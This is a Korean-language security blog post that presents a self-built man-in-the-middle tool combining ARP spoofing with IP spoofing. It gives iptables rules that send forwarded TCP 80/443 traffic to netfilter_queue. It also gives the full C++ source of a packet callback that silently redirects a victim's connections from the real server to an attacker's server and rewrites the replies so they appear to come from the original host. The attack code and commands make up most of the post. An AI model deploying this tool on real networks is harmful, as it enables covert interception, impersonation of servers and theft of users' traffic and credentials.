ARP Spoofing과 IP Spoofing을 이용하여 MITM을 걸 수 있는 Tool을 개발하였습니다.
해당 Tool의 경우 공격자 (A-1), 외부 공격자 서버(A-2), 피해자(B), 통신 서버(C)로 환경이 구성되어 있을 경우 아래와 같이 동작합니다.
※ B <-> C 통신을 B <-> A-2 통신으로 변경할 수 있음
준비 과정
1. ARP Spoofing Tool 준비
※ 저는 아래 포스팅에 있는 코드를 사용하였습니다.
[Python Scapy] ARP Spoofing 구현
ARP Spoofing ARP Spoofing이란 ARP(Address Resolution Protocol)를 이용하여 공격 대상에게 공격자를 Gateway와 같은 다른 대상으로 속여 중간에서 패킷을 가로챔으로써 도청하거나 조작이 가능한 공격 입니다...
hacksms.tistory.com
2. netfilter_queue 환경 구성하기
[Netfilter] netfilter_queue 사용 방법
netfilter_queue 설치 먼저 netfilter_queue를 사용하기 위해 linfnetlink와 libmnl을 설치해준뒤, libnetfilter_queue를 설치해줍니다. # Install libnfnetlink $ wget https://www.netfilter.org/pub/libnfnetli..
hacksms.tistory.com
3. IPTABLES 설정
※ 해당 코드의 경우 TCP 80, 443 포트에서 Forwarding 되는 Packet을 netfilter_queue로 전송하는 역할을 함
$ sudo iptables -A FORWARD -p tcp --dport 80 -j NFQUEUE
$ sudo iptables -A FORWARD -p tcp --dport 443 -j NFQUEUE
$ sudo iptables -A FORWARD -p tcp --sport 80 -j NFQUEUE
$ sudo iptables -A FORWARD -p tcp --sport 443 -j NFQUEUE
간략 코드 흐름 설명
1. nfq_create_queue 함수에서 3번째 인자로 전달한 callback 함수가 nfq_handle_packet 함수가 실행될 때 Callback 함수로써 같이 실행됩니다.
extern "C"
{
#include <libnetfilter_queue/libnetfilter_queue.h>
#include <libnetfilter_queue/pktbuff.h>
#include <libnetfilter_queue/libnetfilter_queue_ipv4.h>
#include <libnetfilter_queue/libnetfilter_queue_tcp.h>
}
static int callback(struct nfq_q_handle *qh, struct nfgenmsg *nfmsg, struct nfq_data *nfad, void *data){
...
}
int main(int argc, char **argv){
// Intercept Packet
qh = nfq_create_queue(h, 0, &callback, NULL);
...
for (;;) {
if ((rv = recv(fd, buf, sizeof(buf), 0)) >= 0) {
// Packet Handling
nfq_handle_packet(h, buf, rv);
continue;
}
2. callback 함수는 Destination IP가 통신 서버(C)일 때 공격자 서버(A-2)로 변경한 뒤 전송하는 역할과 Source IP가 공격자 서버(A-2)일 때 통신 서버(C)로 변경한 뒤 전송하는 역할을 하고 있습니다
static int callback(struct nfq_q_handle *qh, struct nfgenmsg *nfmsg, struct nfq_data *nfad, void *data){
...
// Request Packet Spoofing
// 0x65ffff36 is Original Server, 0xecffffc0 is Victim Server
if(ip->protocol == IPPROTO_TCP && ip->daddr==0x65ffff36 && ip->saddr==0xecffffc0){
...
// ip->daddr is Destination IP, Spoofing IP
// 0xceffff68 is Attacker Server
ip->daddr = 0xceffff68;
// Calculate ip Checksum
ip->check = 0;
ip->check = compute_checksum((unsigned short*)ip,ip->ihl<<2);
printf("Spoofing %x %x\n", htonl(ip->saddr),htonl(ip->daddr));
...
}
// Response Packet Spoofing
// 0xceffff68 is Attacker Server
else if(ip->protocol == IPPROTO_TCP && ip->saddr==0xceffff68){
...
// 0x65ffff36 is Original Server, Need to Change Spoofing IP to Original Source IP
ip->saddr = 0x65ffff36;
// Calculate ip Checksum
ip->check = 0;
ip->check = compute_checksum((unsigned short*)ip,ip->ihl<<2);
printf("Response %x %x\n", htonl(ip->saddr),htonl(ip->daddr));
...
}
}
전체 코드
#include <cstdio>
#include <cerrno>
#include <stdexcept>
#include <cstring>
#include <memory>
#include <functional>
#include <array>
#include <unistd.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
#include <linux/netfilter.h>
extern "C"
{
#include <libnetfilter_queue/libnetfilter_queue.h>
#include <libnetfilter_queue/pktbuff.h>
#include <libnetfilter_queue/libnetfilter_queue_ipv4.h>
#include <libnetfilter_queue/libnetfilter_queue_tcp.h>
}
#define THROW_IF_TRUE(x, m) do { if((x)) { throw std::runtime_error(m); }} while(false)
#define CONCAT_0(pre, post) pre ## post
#define CONCAT_1(pre, post) CONCAT_0(pre, post)
#define GENERATE_IDENTIFICATOR(pre) CONCAT_1(pre, __LINE__)
using ScopedGuard = std::unique_ptr<void, std::function<void(void *)>>;
#define SCOPED_GUARD_NAMED(name, code) ScopedGuard name(reinterpret_cast<void *>(-1), [&](void *) -> void {code}); (void)name
#define SCOPED_GUARD(code) SCOPED_GUARD_NAMED(GENERATE_IDENTIFICATOR(genScopedGuard), code)
static unsigned short compute_checksum(unsigned short *addr, unsigned int count) {
register unsigned long sum = 0;
while (count > 1) {
sum += * addr++;
count -= 2;
}
//if any bytes left, pad the bytes and add
if(count > 0) {
sum += ((*addr)&htons(0xFF00));
}
//Fold sum to 16 bits: add carrier to result
while (sum>>16) {
sum = (sum & 0xffff) + (sum >> 16);
}
//one's complement
sum = ~sum;
return ((unsigned short)sum);
}
static int callback(struct nfq_q_handle *qh, struct nfgenmsg *nfmsg,
struct nfq_data *nfad, void *data)
{
struct nfqnl_msg_packet_hdr *ph = nfq_get_msg_packet_hdr(nfad);
THROW_IF_TRUE(ph == nullptr, "Issue while packet header");
unsigned char *rawData = nullptr;
int len = nfq_get_payload(nfad, &rawData);
THROW_IF_TRUE(len < 0, "Can\'t get payload data");
struct pkt_buff * pkBuff = pktb_alloc(AF_INET, rawData, len, 0x1000);
THROW_IF_TRUE(pkBuff == nullptr, "Issue while pktb allocate");
SCOPED_GUARD( pktb_free(pkBuff); ); // Don't forget to clean up
struct iphdr *ip = nfq_ip_get_hdr(pkBuff);
THROW_IF_TRUE(ip == nullptr, "Issue while ipv4 header parse.");
THROW_IF_TRUE(nfq_ip_set_transport_header(pkBuff, ip) < 0, "Can\'t set transport header.");
// Request Packet Spoofing
// 0x65ffff36 is Original Server, 0xecffffc0 is Victim Server
if(ip->protocol == IPPROTO_TCP && ip->daddr==0x65ffff36 && ip->saddr==0xecffffc0){
struct tcphdr *tcp = nfq_tcp_get_hdr(pkBuff);
THROW_IF_TRUE(tcp == nullptr, "Issue while tcp header.");
// ip->daddr is Destination IP, Spoofing IP
// 0xceffff68 is Attacker Server
ip->daddr = 0xceffff68;
// Calculate ip Checksum
ip->check = 0;
ip->check = compute_checksum((unsigned short*)ip,ip->ihl<<2);
printf("Spoofing %x %x\n", htonl(ip->saddr),htonl(ip->daddr));
nfq_tcp_compute_checksum_ipv4(tcp, ip);
return nfq_set_verdict(qh, ntohl(ph->packet_id), NF_ACCEPT, pktb_len(pkBuff), pktb_data(pkBuff));
}
// Response Packet Spoofing
// 0xceffff68 is Attacker Server
else if(ip->protocol == IPPROTO_TCP && ip->saddr==0xceffff68){
struct tcphdr *tcp = nfq_tcp_get_hdr(pkBuff);
THROW_IF_TRUE(tcp == nullptr, "Issue while tcp header.");
// 0x65ffff36 is Original Server, Need to Change Spoofing IP to Original Source IP
ip->saddr = 0x65ffff36;
// Calculate ip Checksum
ip->check = 0;
ip->check = compute_checksum((unsigned short*)ip,ip->ihl<<2);
printf("Response %x %x\n", htonl(ip->saddr),htonl(ip->daddr));
nfq_tcp_compute_checksum_ipv4(tcp, ip);
return nfq_set_verdict(qh, ntohl(ph->packet_id), NF_ACCEPT, pktb_len(pkBuff), pktb_data(pkBuff));
}
return nfq_set_verdict(qh, ntohl(ph->packet_id), NF_ACCEPT, 0, NULL);
}
int main(int argc, char **argv)
{
struct nfq_handle *h;
struct nfq_q_handle *qh;
struct nfnl_handle *nh;
int fd;
int rv;
char buf[4096] __attribute__ ((aligned));
h = nfq_open();
if (!h) {
fprintf(stderr, "error during nfq_open()\n");
exit(1);
}
if (nfq_unbind_pf(h, AF_INET) < 0) {
fprintf(stderr, "error during nfq_unbind_pf()\n");
exit(1);
}
if (nfq_bind_pf(h, AF_INET) < 0) {
fprintf(stderr, "error during nfq_bind_pf()\n");
exit(1);
}
// Intercept Packet
qh = nfq_create_queue(h, 0, &callback, NULL);
if (!qh) {
fprintf(stderr, "error during nfq_create_queue()\n");
exit(1);
}
// NFQNL_COPY_PACKET is "copy entire packet"
if (nfq_set_mode(qh, NFQNL_COPY_PACKET, 0xffff) < 0) {
fprintf(stderr, "can't set packet_copy mode\n");
exit(1);
}
fd = nfq_fd(h);
for (;;) {
if ((rv = recv(fd, buf, sizeof(buf), 0)) >= 0) {
nfq_handle_packet(h, buf, rv);
continue;
}
/* if your application is too slow to digest the packets that
* are sent from kernel-space, the socket buffer that we use
* to enqueue packets may fill up returning ENOBUFS. Depending
* on your application, this error may be ignored. Please, see
* the doxygen documentation of this library on how to improve
* this situation.
*/
if (rv < 0 && errno == ENOBUFS) {
printf("losing packets!\n");
continue;
}
perror("recv failed");
break;
}
nfq_destroy_queue(qh);
#ifdef INSANE
/* normally, applications SHOULD NOT issue this command, since
* it detaches other programs/sockets from AF_INET, too ! */
printf("unbinding from AF_INET\n");
nfq_unbind_pf(h, AF_INET);
#endif
printf("closing library handle\n");
nfq_close(h);
exit(0);
}
공격 화면
접속을 시도한 IP는 "54.xxx.xxx.101"이지만 실제로는 공격자의 서버로 접속된 화면입니다.
'Hack > Network' 카테고리의 다른 글
[CVE-2022-3602] OpenSSL punycode Decoding Vulnerability (off-by-one) (0) | 2022.11.02 |
---|---|
11월 1일 Releases 될 OpenSSL 취약점 정보 (0) | 2022.10.30 |
[Netfilter] IP Spoofing With netfilter_queue (0) | 2022.08.28 |
[Netfilter] netfilter_queue 사용 방법 (0) | 2022.08.28 |
iptables와 netfilter에 대하여 (0) | 2022.08.23 |
댓글